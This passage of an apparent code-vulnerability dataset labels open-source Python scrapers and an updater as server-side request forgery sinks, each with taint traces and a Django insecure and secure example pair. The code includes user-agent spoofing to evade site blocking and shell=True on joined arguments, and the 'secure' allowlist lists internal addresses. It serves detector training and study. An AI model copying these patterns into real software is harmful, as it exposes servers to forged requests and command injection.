0\n\n listBadLinks = []\n\n seenListBadLinks = set(listBadLinks)\n\n idIDs = []\n\n seenidIDs = set(idIDs)\n\n dictlistMongo = []\n\n for page in itertools.count(0):\n pg_url = url.format(page)\n html = download(pg_url)\n soup = BeautifulSoup(html, 'html5lib')\n td = soup.find_all(attrs={'class': 'value'})\n\n if not td:\n print('no tables!')\n num_errors += 1\n if num_errors == max_errors:\n # reached max number of errors, so exit\n break\n elif html is None:\n num_errors += 1\n if num_errors == max_errors:\n # reached max number of errors, so exit\n break\n else:\n num_errors = 0\n # success - can scrape the result\n\n # CSS Selectors - XPATH\n print()\n print('Content:')\n\n listGetContentIDs = getLinks(html)\n # print('List with ID links')\n # print(listGetContentIDs)\n print()\n\n for itemList in listGetContentIDs:\n if itemList not in seenListBadLinks:\n seenListBadLinks.add(itemList)\n listBadLinks.append(getContentItemID(itemList))\n\n # print(listBadLinks)\n\n tree = fromstring(html)\n\n td = tree.cssselect('td.value')\n\n counter = 0\n\n for i in range(0, len(td), 5):\n\n # id\n id = td[i].text_content()\n id = int(id)\n\n idCheck = dbThreats.phishtank2.find_one({\"_id\": id})\n # print(idCheck)\n\n if idCheck is None:\n print('Not duplicate key found! Continue..')\n else:\n print('Duplicate key value found:', idCheck['_id'])\n\n # datetime\n date = td[i + 1].text_content()\n date2 = date.split()\n del date2[0:2]\n dataClean = date2[1]\n s1 = []\n for s in dataClean:\n if s.isdigit():\n s1.append(s)\n dataClean2 = ''.join(s1)\n date2[1] = dataClean2\n dataCleanFinal = ' '.join(date2)\n print(dataCleanFinal)\n\n try:\n # valid_date = time.strptime(date, '%m/%d/%Y')\n datetimeObjectUTC = datetime.strptime(dataCleanFinal, '%b %d %Y %I:%M %p')\n print('datetimeObjectUTC:', datetimeObjectUTC)\n except ValueError:\n print('Invalid date!')\n\n # datetimeObjectUTC = datetime.strptime(dataCleanFinal, '%b %d %Y %I:%M %p')\n datetimeUTC = datetimeObjectUTC.strftime('%Y-%m-%d %H:%M:%S')\n print('datetimeUTC:', datetimeUTC)\n timestampUTC = int(time.mktime(datetimeObjectUTC.timetuple()))\n\n # CTI datetime\n datetimeObjectUTCCTI = dateTimeMongoUTC\n datetimeUTCCTI = datetimeObjectUTCCTI.strftime('%Y-%m-%d %H:%M:%S')\n\n # CTI timestamp\n timestampUTCCTI = ts\n\n # author\n submitted = td[i + 2].text_content()\n if submitted != '':\n submitted2 = submitted.split()\n submittedFinal = submitted2[1]\n else:\n submittedFinal = None\n\n # valid\n valid = td[i + 3].text_content()\n if valid == '':\n valid = None\n\n # online\n online = td[i + 4].text_content()\n if online == '':\n online = None\n\n # print(datetimeUTC)\n\n dictionary = {}\n\n if id not in seenidIDs:\n\n dictionary['_id'] = id\n dictionary['Phish URL'] = listBadLinks[counter]\n dictionary['Submitted by'] = submittedFinal\n dictionary['Valid?'] = valid\n dictionary['Online?'] = online\n dictionary['DatetimeUTC'] = datetimeUTC\n dictionary['TimestampUTC'] = timestampUTC\n dictionary['DatetimeUTC-CTI'] = datetimeUTCCTI\n dictionary['TimestampUTC-CTI'] = timestampUTCCTI\n dictionary['Entity type'] = 'URL'\n dictionary['Category'] = 'Phishing'\n # dictionary['mongoDate'] = datetimeObjectUTC\n\n seenidIDs.add(id)\n idIDs.append(id)\n dictlistMongo.append(dictionary)\n\n counter += 1\n\n time.sleep(0.5)\n\n # print(idIDs)\n # print(dictlistMongo)\n print('Length of list IDs:', len(seenidIDs))\n print('Length of Mongo Dictionary:', len(dictlistMongo))\n print('next')\n print()\n print()\n\n time.sleep(0.5)\n\n # drop collection if not empty\n if dbThreats.phishtank.count() != 0:\n dbThreats.phishtank.drop()\n print('Database reset')\n else:\n print('Database is empty! Starting storing data..')\n\n for dictionaryMongo in dictlistMongo:\n print(dictionaryMongo)\n # handle to web based attacks (1) collection\n phishtank = dbThreats.phishtank\n\n # Decode the JSON from Twitter\n jsonString = json.dumps(dictionaryMongo)\n datajson = json.loads(jsonString)\n\n # insert the data into the mongoDB into a collection called webBased\n # if twitter_search doesn't exist, it will be created.\n dbThreats.phishtank.insert(datajson)\n\n print()\n print(\"Data inserted successfully to MongoDB\")\n print()\n print()\n print('The End!')\n\n\ndef timeSeriesAnalysis():\n\n # find the right collection\n phishtank = dbThreats.phishtank\n\n # if collection in not empty do:\n if phishtank.count() != 0:\n\n # Mongo Shell query\n # db.phishtank.find({}, {'DatetimeUTC': 1, '_id': 0})\n # print('yeah')\n\n query = {}\n # query = {'title': {'$regex': 'apple|google', '$options': 'i'}}\n projection = {'DatetimeUTC': 1, '_id': 0}\n # projection = {'title': 1, '_id': 0}\n try:\n cursor = phishtank.find(query, projection)\n # cursor = cursor.limit(10)\n\n except Exception as e:\n print(\"Unexpected error:\", type(e), e)\n\n # Dates list for storing the corresponding query in json file (see below)\n datesQuery = []\n\n for doc in cursor:\n # print(doc['DatetimeUTC'])\n datesQuery.append(doc['DatetimeUTC'])\n\n\n \"\"\"\n TIME SERIES\n \"\"\"\n # a list of \"1\" to count the hashtags\n ones = [1] * len(datesQuery)\n # the index of the series\n idx = pd.DatetimeIndex(datesQuery)\n # print('idx:')\n # print(idx)\n # the actual series (at series of 1s for the moment)\n timeSeries01 = pd.Series(ones, index=idx)\n print(timeSeries01.head())\n\n # Resampling / bucketing\n per_day = timeSeries01.resample('1D').sum().fillna(0)\n\n print()\n print(\"Per Day:\")\n print(per_day.head())\n\n s = pd.DataFrame(per_day)\n\n print(s.head())\n\n # s.to_csv('/var/www/html/saint/indicators2018/perdayTimeSeriesPhishtank.csv')\n\n s.to_csv('/var/www/html/saint/indicators2018/phishing/perdayTimeSeriesPhishtank.csv')\n\n else:\n print('Database is empty! Can not retrieve data!')\n\n print()\n\n# ----------------------------------------------------------------------------------------------------\n\n\ndef csvToJson():\n\n jsonPhishtank = []\n\n with open('/var/www/html/saint/indicators2018/phishing/perdayTimeSeriesPhishtank.csv') as csvfile:\n readCSV = csv.reader(csvfile, delimiter=',')\n next(readCSV)\n for row in readCSV:\n row[0] = row[0] + ' 14:00:00.000'\n datetimeObject = datetime.strptime(row[0], '%Y-%m-%d %H:%M:%S.%f')\n millisec = datetimeObject.timestamp() * 1000\n row[0] = millisec\n row[1] = int(float(row[1]))\n print(row)\n jsonPhishtank.append(row)\n\n del jsonPhishtank[0]\n\n print()\n print('new file:')\n print(jsonPhishtank)\n\n print()\n print('Writing..')\n with open('/var/www/html/saint/indicators2018/phishing/phishtankjson.json', 'w') as file:\n json.dump(jsonPhishtank, file, indent=4)\n\n print('Writing complete!')\n\nif __name__ == '__main__':\n\n crawl_site(indicator)\n\n # print(getContentItemID(indicator1))\n\n # print(download(indicator1))\n\n # getPageTableValues(indicator)\n\n timeSeriesAnalysis()\n csvToJson()", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 74, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 77, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 77, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "urllib.request.urlopen"}}]}} {"id": "6b370636708d4a2fb5c1ddc481aa97f80d5f9fabdabfaa7547cb40b7a389f99c", "license": {"spdx": ["MIT"], "repo": "pretrehr/Sports-betting", "path": "sportsbetting/bookmakers/netbet.py", "repo_head_hexsha": "9f96cf4e0020249a05617ab414b800ce7c058aef", "stack_hexsha": "63111b95daf48b404a748927951a6bcc9d77cf2c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 35, "entireCode": "\"\"\"\nNetBet odds scraper\n\"\"\"\n\nimport datetime\nimport http.client\nimport re\nimport urllib\nimport urllib.error\nimport urllib.request\n\nimport fake_useragent\n\nfrom bs4 import BeautifulSoup\n\nimport sportsbetting as sb\nfrom sportsbetting.auxiliary_functions import truncate_datetime\n\n\ndef parse_netbet(url):\n \"\"\"\n Retourne les cotes disponibles sur netbet\n \"\"\"\n sport = None\n if url in [\"football\", \"tennis\", \"basketball\", \"hockey-glace\", \"rugby\", \"handball\"]:\n sport = url\n url = \"https://www.netbet.fr/top-paris\"\n headers = {\"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4)\"\n \"AppleWebKit/537.36 (KHTML, like Gecko)\"\n \"Chrome/83.0.4103.97\"\n \"Safari/537.36\"}\n for _ in range(3):\n try:\n request = urllib.request.Request(url, None, headers)\n response = urllib.request.urlopen(request, timeout=5)\n soup = BeautifulSoup(response, features=\"lxml\")\n break\n except http.client.IncompleteRead:\n headers = {\"User-Agent\": fake_useragent.UserAgent().random}\n print(\"User agent change\")\n except urllib.error.HTTPError:\n headers = {\"User-Agent\": fake_useragent.UserAgent().random}\n print(\"User agent change (403)\")\n except urllib.error.URLError:\n headers = {\"User-Agent\": fake_useragent.UserAgent().random}\n print(\"User agent change (Timeout)\")\n else:\n raise sb.UnavailableSiteException\n if soup.find(attrs={\"class\": \"none\"}):\n raise sb.UnavailableCompetitionException\n if response.geturl() == \"https://www.netbet.fr/\":\n raise sb.UnavailableCompetitionException\n match_odds_hash = {}\n today = datetime.datetime.today()\n today = datetime.datetime(today.year, today.month, today.day)\n date = \"\"\n year = \" \" + str(today.year)\n match = \"\"\n competition = \"\"\n date_time = None\n valid_match = True\n for line in soup.find_all():\n if \"class\" in line.attrs and \"nb-link-event\" in line[\"class\"] and \"href\" in line.attrs:\n if sport:\n valid_match = sport+\"/\" in line[\"href\"]\n link = line[\"href\"]\n competition = \" - \".join(map(lambda x : x.replace(\"-\", \" \").title(), link.split(\"/\")[2:4]))\n elif \"class\" in line.attrs and \"nb-event_datestart\" in line[\"class\"]:\n date = list(line.stripped_strings)[0] + year\n if \"Auj.\" in date:\n date = datetime.datetime.today().strftime(\"%d/%m %Y\")\n elif \"class\" in line.attrs and \"nb-event_timestart\" in line[\"class\"]:\n hour = line.text\n if \" min\" in hour:\n date_time = datetime.datetime.today()+datetime.timedelta(minutes=int(hour.strip(\" min\")))\n date_time = truncate_datetime(date_time)\n continue\n try:\n date_time = datetime.datetime.strptime(\n date + \" \" + hour, \"%d/%m %Y %H:%M\")\n if date_time < today:\n date_time = date_time.replace(year=date_time.year + 1)\n except ValueError:\n date_time = \"undefined\"\n elif \"class\" in line.attrs and \"nb-event_actors\" in line[\"class\"]:\n match = \" - \".join(list(map(lambda x: x.replace(\" - \",\n \"-\"), line.stripped_strings)))\n reg_exp = r'\\[[0-7]\\/[0-7]\\s?([0-7]\\/[0-7]\\s?)*\\]|\\[[0-7]\\-[0-7]\\s?([0-7]\\-[0-7]\\s?)*\\]'\n if list(re.finditer(reg_exp, match)): # match tennis live\n match = match.split(\"[\")[0].strip()\n elif \"class\" in line.attrs and \"nb-event_odds_wrapper\" in line[\"class\"]:\n try:\n odds = list(map(lambda x: float(x.replace(\",\", \".\")),\n list(line.stripped_strings)[1::2]))\n if valid_match and match and match not in match_odds_hash and date_time:\n match_odds_hash[match] = {}\n match_odds_hash[match]['odds'] = {\"netbet\": odds}\n match_odds_hash[match]['date'] = date_time\n match_odds_hash[match]['id'] = {\"netbet\": link}\n match_odds_hash[match]['competition'] = competition\n except ValueError: # match live (cotes non disponibles)\n pass\n return match_odds_hash", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 34, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 35, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 35, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "urllib.request.urlopen"}}]}} {"id": "9d7e89b1010931795ca9a6b7b0fbd9d178bc9ea003c277b37238447ba4593a1c", "license": {"spdx": ["MIT"], "repo": "ragreener1/deliveroo-scraping", "path": "deliveroo_scraping.py", "repo_head_hexsha": "c8e3de2503a6198734904fb937a77dd38ef05581", "stack_hexsha": "fc918b97de90432887a40a5ee37a55b41149a19b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 178, "entireCode": "import urllib.request\nimport pandas as pd\nimport sqlite3\nimport re\nfrom bs4 import BeautifulSoup\n\n\n# Parameters\npostcodes_list = [\"W1F7EY\"]\ndb_name = \"scraped.db\"\n\n\n# This is so that Deliveroo think the scraper is Google Chrome\n# as opposed to a web scraper\nhdr = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11' +\n '(KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*' +\n ';q=0.8',\n 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',\n 'Accept-Encoding': 'none',\n 'Accept-Language': 'en-US,en;q=0.8',\n 'Connection': 'keep-alive'}\n\n\ndef process_menu(doc, url, tags_df, tag_type, restaurants, restaurants_to_tags,\n menu_sections, menu_items):\n # This function processes the menu\n\n # This gets the restaurant_name by finding the

tag with the CSS class\n # restaurant_name\n restaurant_name = doc.find(\"h1\", class_=\"restaurant__name\", text=True).text\n\n # This gets the deliveroo_name by selecting the appropriate part from the\n # URL\n # This will fail on restaurants not in London\n deliveroo_name = re.findall(\n '(?<=https://deliveroo.co.uk/menu/london/)(.*)(?=\\\\?postcode=)',\n url)[0]\n\n # This adds this to the restaurants dataframe\n # This isn't very efficient, if you were wanting to scrape large numbers\n # you wouldn't want to use .append\n restaurants = restaurants.append(\n {\"name\": restaurant_name, \"deliveroo_name\": deliveroo_name},\n ignore_index=True)\n\n # This gets the restaurant_id by finding the index of what as inserted\n # Again this isn't very efficient\n restaurant_id = restaurants[\n (restaurants == [restaurant_name, deliveroo_name]).all(\n axis=1)].index[0]\n restaurant_tags = []\n\n # Deal with tags\n # Start by finding all tags with the CSS class tag\n for tag in doc.find_all(\"small\", class_=\"tag\"):\n # The second element of the CSS class is the type of the tag\n # this could be locale or food etc.\n tagtype = tag['class'][1]\n # The name of the tag is what is inside the \n name = tag.text\n\n # See if the tagtype exists in the tag_type dataframe\n type_matches = tag_type[(tag_type == [tagtype]).all(axis=1)]\n\n # If it doesn't\n if len(type_matches) == 0:\n # Add it (again not very efficient)\n tag_type = tag_type.append({\"name\": tagtype}, ignore_index=True)\n\n # Update the matches\n type_matches = tag_type[(tag_type == [tagtype]).all(axis=1)]\n\n # See if the tag already exists in the tags_df dataframe\n matches = tags_df[\n (tags_df == [name, type_matches.index[0]]).all(axis=1)]\n\n # If it doesn't\n if len(matches) == 0:\n # Add it\n entry = {\"name\": name, \"type\": type_matches.index[0]}\n tags_df = tags_df.append(entry, ignore_index=True)\n matches = tags_df[(tags_df == [name, type_matches.index[0]]).all(\n axis=1)]\n\n # Add the tag to a list of tags for that restaurant\n restaurant_tags.append(matches.index[0])\n\n # For each tag\n for tag in restaurant_tags:\n # Add this to restaurants_to_tags df\n restaurants_to_tags = restaurants_to_tags.append(\n {\"restaurant_id\": restaurant_id, \"tag_id\": tag}, ignore_index=True)\n\n # For each category (in the menu, e.g. Sides, Mains, Desserts, Drinks -\n # different for every restaurant though!) process the menu items\n # This is found by looking for
tags with the CSS class\n # menu-index-page__menu-category\n categories = doc.find_all(\"div\", class_=\"menu-index-page__menu-category\")\n for category in categories:\n # the category name is inside the h3 inside the div\n category_name = category.h3.text\n # Add the category to the menu_sections data frame. Again this isn't\n # efficient.\n menu_sections = menu_sections.append(\n {\"restaurant_id\": restaurant_id, \"name\": category_name},\n ignore_index=True)\n\n # Get the id in the menu_sections data frame\n category_id = menu_sections[\n (menu_sections == [restaurant_id, category_name]).all(\n axis=1)].index[0]\n\n # Get each of the items in that category\n category_items = []\n # For each menu item. Found by looking for
inside the category\n # with the CSS class menu-index-page__item_content\n items_html = category.find_all(\"div\",\n class_=\"menu-index-page__item-content\")\n for menu_item in items_html:\n # The name is the
with the CSS class\n # menu-index-page__item-title\n item_name = \\\n menu_item.find(\"h6\", class_=\"menu-index-page__item-title\").text\n\n # The price is the with the CSS class\n # menu-index-page__item-price. The £ symbol is dropped, it is then\n # converted to a floating-point number (decimal), multiplied by 100\n # so that it is in pence. It is then converted to an integer.\n #\n # https://stackoverflow.com/questions/3730019/why-not-use-double-or-float-to-represent-currency\n price_as_text = \\\n menu_item.find(\"span\", class_=\"menu-index-page__item-price\")\\\n .text[1:]\n price_as_float = float(price_as_text)\n item_price = int(price_as_float * 100)\n\n # If an item is popular it has a with the CSS class\n # menu-index-page__item-popular\n # So this tries to find it, if it exists is_item_popular = True,\n # False otherwise.\n is_item_popular = menu_item.find(\n \"span\", class_=\"menu-index-page__item-popular\") is not None\n\n # Add this menu_item to category_items\n category_items.append(\n {\"menu_section_id\": category_id,\n \"name\": item_name,\n \"price_in_pence\": item_price,\n \"is_popular\": is_item_popular}\n )\n\n # Add all the menu items in that category to the menu_items data frame,\n # this is more efficient than doing this one at a time\n menu_items = menu_items.append(category_items, ignore_index=True)\n\n # Return the updated dataframes\n return (tags_df, tag_type, restaurants, restaurants_to_tags, menu_sections,\n menu_items)\n\n\ndef get_restaurant_and_process_menu(url, tags_df, tag_type, restaurants,\n restaurants_to_tags, menu_sections,\n menu_items, restaurants_to_locs,\n postcodes):\n # This functions gets the restaurant and then processes its menu if it\n # hasn't been processed before\n\n # Get the deliveroo name from the url\n deliveroo_name = re.findall(\n '(?<=https://deliveroo.co.uk/menu/london/)(.*)(?=\\\\?postcode=)',\n url)[0]\n\n # If this restaurant hasn't been seen before\n if deliveroo_name not in restaurants['deliveroo_name']:\n # Get the webpage\n request = urllib.request.Request(url, headers=hdr)\n page = urllib.request.urlopen(request)\n soup = BeautifulSoup(page)\n # Try and process the menu, if it doesn't work handle it nicely\n try:\n (tags_df, tag_type, restaurants, restaurants_to_tags,\n menu_sections, menu_items) = process_menu(soup, url, tags_df,\n tag_type, restaurants,\n restaurants_to_tags,\n menu_sections,\n menu_items)\n except Exception:\n print(f\"Fail on {url}\")\n\n # Get the postcode from the URL\n postcode = re.findall('(?<=\\\\?postcode=)(.)*', url)[0]\n # Find where it is in the postcodes data frame\n postcodes_index = (postcodes['post_code'] == postcode).index[0]\n\n # Find the restaurants id in the restaurants dataframe using the deliveroo\n # name\n restaurant_index = \\\n (restaurants['deliveroo_name'] == deliveroo_name).index[0]\n\n # Add an entry to restaurants_to_locs saying that this restaurant is\n # available at this location\n restaurants_to_locs = restaurants_to_locs.append(\n {\"restaurant_id\": restaurant_index, \"loc_id\": postcodes_index},\n ignore_index=True)\n\n # Return the amended dataframes\n return (tags_df, tag_type, restaurants, restaurants_to_tags, menu_sections,\n menu_items, restaurants_to_locs)\n\n\ndef process_restaurants_for_postcode(postcode, tags_df, tag_type, restaurants,\n restaurants_to_tags, menu_sections,\n menu_items, restaurants_to_locs,\n postcodes):\n # This function processes the restaurants for the postcodes\n\n # Add the postcode to the URL - it doesn't matter that it says camden, it\n # will update as appropriate.\n url = \"https://deliveroo.co.uk/restaurants/london/camden\" \\\n f\"?postcode={postcode}&sort=time\"\n\n # Create the HTTP request\n request = urllib.request.Request(url, headers=hdr)\n\n # Get the page\n page = urllib.request.urlopen(request)\n soup = BeautifulSoup(page)\n\n # For every link in the page\n for i, link in enumerate(soup.find_all(\"a\")):\n print(i)\n # Get the destination of the link\n destination = link.get(\"href\")\n # If it's to a menu, get the restaurant and process the menu\n if \"/menu\" in destination:\n (tags_df, tag_type, restaurants, restaurants_to_tags,\n menu_sections, menu_items, restaurants_to_locs) = \\\n get_restaurant_and_process_menu(\n \"https://deliveroo.co.uk\" + destination, tags_df, tag_type,\n restaurants, restaurants_to_tags, menu_sections,\n menu_items, restaurants_to_locs, postcodes)\n\n # Return the amended dataframes\n return (tags_df, tag_type, restaurants, restaurants_to_tags, menu_sections,\n menu_items, restaurants_to_locs)\n\n\ndef process_all_restaurants(postcodes, db_name):\n # This function processes all of the postcodes\n\n # Create the dataframes\n tags_df = pd.DataFrame({\"name\": [], \"type\": []})\\\n .astype({\"name\": \"str\", \"type\": \"int32\"})\n\n tag_type = pd.DataFrame({\"name\": []})\n restaurants = pd.DataFrame({\"name\": [], \"deliveroo_name\": []})\\\n .astype({\"name\": \"str\", \"deliveroo_name\": \"str\"})\n\n restaurants_to_tags = pd.DataFrame({\"restaurant_id\": [], \"tag_id\": []})\\\n .astype({\"restaurant_id\": \"int64\", \"tag_id\": \"int64\"})\n\n menu_sections = pd.DataFrame({\"restaurant_id\": [], \"name\": []})\\\n .astype({\"restaurant_id\": \"int64\", \"name\": \"str\"})\n\n menu_items = pd.DataFrame(\n {\"menu_section_id\": [],\n \"name\": [],\n \"price_in_pence\": [],\n \"is_popular\": []}).astype(\n {\"menu_section_id\": \"int64\",\n \"name\": \"str\",\n \"price_in_pence\": \"int64\",\n \"is_popular\": \"bool\"})\n\n restaurants_to_locs = pd.DataFrame({\"restaurant_id\": [], \"loc_id\": []})\\\n .astype({\"restaurant_id\": \"int64\", \"loc_id\": \"int64\"})\n\n for post_code in postcodes['post_code']:\n (tags_df, tag_type, restaurants, restaurants_to_tags, menu_sections,\n menu_items, restaurants_to_locs) =\\\n process_restaurants_for_postcode(post_code, tags_df, tag_type,\n restaurants, restaurants_to_tags,\n menu_sections, menu_items,\n restaurants_to_locs, postcodes)\n\n # Write to db\n cnx = sqlite3.connect(db_name)\n postcodes.to_sql(\"POSTCODES\", cnx, index_label=\"id\")\n restaurants.to_sql(\"RESTAURANTS\", cnx, index_label=\"id\")\n restaurants_to_locs.to_sql(\"RESTAURANTS_AVAILABLE\", cnx, index_label=\"id\")\n menu_items.to_sql(\"MENU_ITEMS\", cnx, index_label=\"id\")\n menu_sections.to_sql(\"MENU_SECTIONS\", cnx, index_label=\"id\")\n tags_df.to_sql(\"CATEGORIES\", cnx, index_label=\"id\")\n tag_type.to_sql(\"CATEGORY_TYPES\", cnx, index_label=\"id\")\n restaurants_to_tags.to_sql(\"RESTAURANT_CATEGORIES\", cnx, index_label=\"id\")\n cnx.close()\n\n\nif __name__ == \"__main__\":\n postcodes_df = pd.DataFrame({\n 'post_code': postcodes_list\n })\n process_all_restaurants(postcodes_df, db_name)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. def call_third_party_api(request):\n5. \taddr = request.POST.get('address', '')\n6. \n7. \t...\n8. \n9. \tresult = requests.get(addr).text\n10. \treturn render(request, '/result.html', {'result':result})\nLine 9: This is insecure because the value taken from the user in Line 5 is returned without whitelist validation.", "safeExampleEn": "1. from django.shortcuts import render\n2. import requests\n3. \n4. \n5. ...\n6. \n7. ALLOW_SERVER_LIST = [\n8. \t'https://127.0.0.1/latest/',\n9. \t'https://192.168.0.1/user_data',\n10. \t'https://192.168.0.100/v1/public'\n11. ]\n12. \n13. def call_third_party_api(request):\n14. \taddr = request.POST.get('address', '')\n15. \n16. ...\n17. \n18. \tif addr not in ALLOW_SERVER_LIST:\n19. \t\treturn render(request, '/error.html', {error = 'This server is not allowed.'})\n20. \n21. result = requests.get(addr).text\n22. \treturn render(request, '/result.html', {'result':result})\nLine 18: This is secure because the value taken from the user in Line 14 undergoes a whitelist validation process created in Line 7.", "contexts": [{"lineNo": 175, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "176"}}, {"lineNo": 177, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 178, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 178, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "urllib.request.urlopen"}}]}} {"id": "c2043ea83a034531d693a1076c52f579254ae591112e9bd5ac63f6d1d79cb745", "license": {"spdx": ["MIT"], "repo": "pansila/Auto-Test-System", "path": "endpoint/test_endpoint/update.py", "repo_head_hexsha": "bfe51a277466939a32daa08f27a89cf3c1900def", "stack_hexsha": "ab1d101c4bcfc97cfc157f818f4f8698285ba31c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "If unverified external inputs are used in requests submitted between servers, a security vulnerability could allow malicious actions to occur.\nIf a web server has a vulnerable application, an attacker can trick the application into performing abnormal behaviors or obtaining data from the trusted network by forging a URL or a request statement to bypass access control.\nUse a whitelist to filter user input values when the input value used to call another system's service is within an identifiable range. Create a blacklist that filters a list of internal URLs when it is required to receive a random URL that is specified by the user. In addition, ensure to check authentication or authorization on requests sent over the internal network.", "issueLineNumber": 395, "entireCode": "import configparser\nimport os\nimport hashlib\nimport json\nimport shutil\nimport sys\nimport tempfile\nimport subprocess\nimport tarfile\nimport re\nimport stat\nfrom functools import cmp_to_key\nfrom contextlib import closing\nfrom gzip import GzipFile\nfrom pathlib import Path\nfrom urllib.error import HTTPError\nfrom urllib.request import Request\nfrom urllib.request import urlopen\n\nWINDOWS = sys.platform == \"win32\"\n\nBOOTSTRAP = \"\"\"\\\nimport os, sys\nimport re\nimport subprocess\n\ndef _which_python():\n allowed_executables = [\"python3\", \"python\"]\n if sys.platform == 'win32':\n # in favor of 32 bit python to be compatible with the 32bit dlls of test libraries\n allowed_executables[:0] = [\"py.exe -3-32\", \"py.exe -2-32\", \"py.exe -3-64\", \"py.exe -2-64\"]\n\n # \\d in regex ensures we can convert to int later\n version_matcher = re.compile(r\"^Python (?P\\d+)\\.(?P\\d+)\\..+$\")\n fallback = None\n for executable in allowed_executables:\n try:\n raw_version = subprocess.check_output(\n executable + \" --version\", stderr=subprocess.STDOUT, shell=True\n ).decode(\"utf-8\")\n except subprocess.CalledProcessError:\n continue\n\n match = version_matcher.match(raw_version.strip())\n if match and tuple(map(int, match.groups())) >= (3, 0):\n # favor the first py3 executable we can find.\n return executable\n\n if fallback is None:\n # keep this one as the fallback; it was the first valid executable we found.\n fallback = executable\n\n if fallback is None:\n # Avoid breaking existing scripts\n fallback = \"python\"\n\n return fallback\n\nif __name__ == '__main__':\n py_executable = _which_python()\n subprocess.run(py_executable + r' {collie_bin} ' + ' '.join(sys.argv[1:]), shell=True)\n\"\"\"\n\nBIN = \"\"\"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport os\nimport argparse\n\nlib = os.path.normpath(os.path.join(os.path.realpath(__file__), \"..\", \"..\", \"lib\", \"collie\"))\nsys.path.insert(0, lib)\n\nfrom test_endpoint.app import main\n\nif __name__ == \"__main__\":\n sys.exit(main())\n\"\"\"\n\nBAT = '@echo off\\r\\n{python_executable} \"{collie_bootstrap}\" %*\\r\\n'\nSH = '#!/bin/sh\\npython3 \"{collie_bootstrap}\" $*\\n'\n\ndef expanduser(path):\n \"\"\"\n Expand ~ and ~user constructions.\n\n Includes a workaround for http://bugs.python.org/issue14768\n \"\"\"\n expanded = os.path.expanduser(path)\n if path.startswith(\"~/\") and expanded.startswith(\"//\"):\n expanded 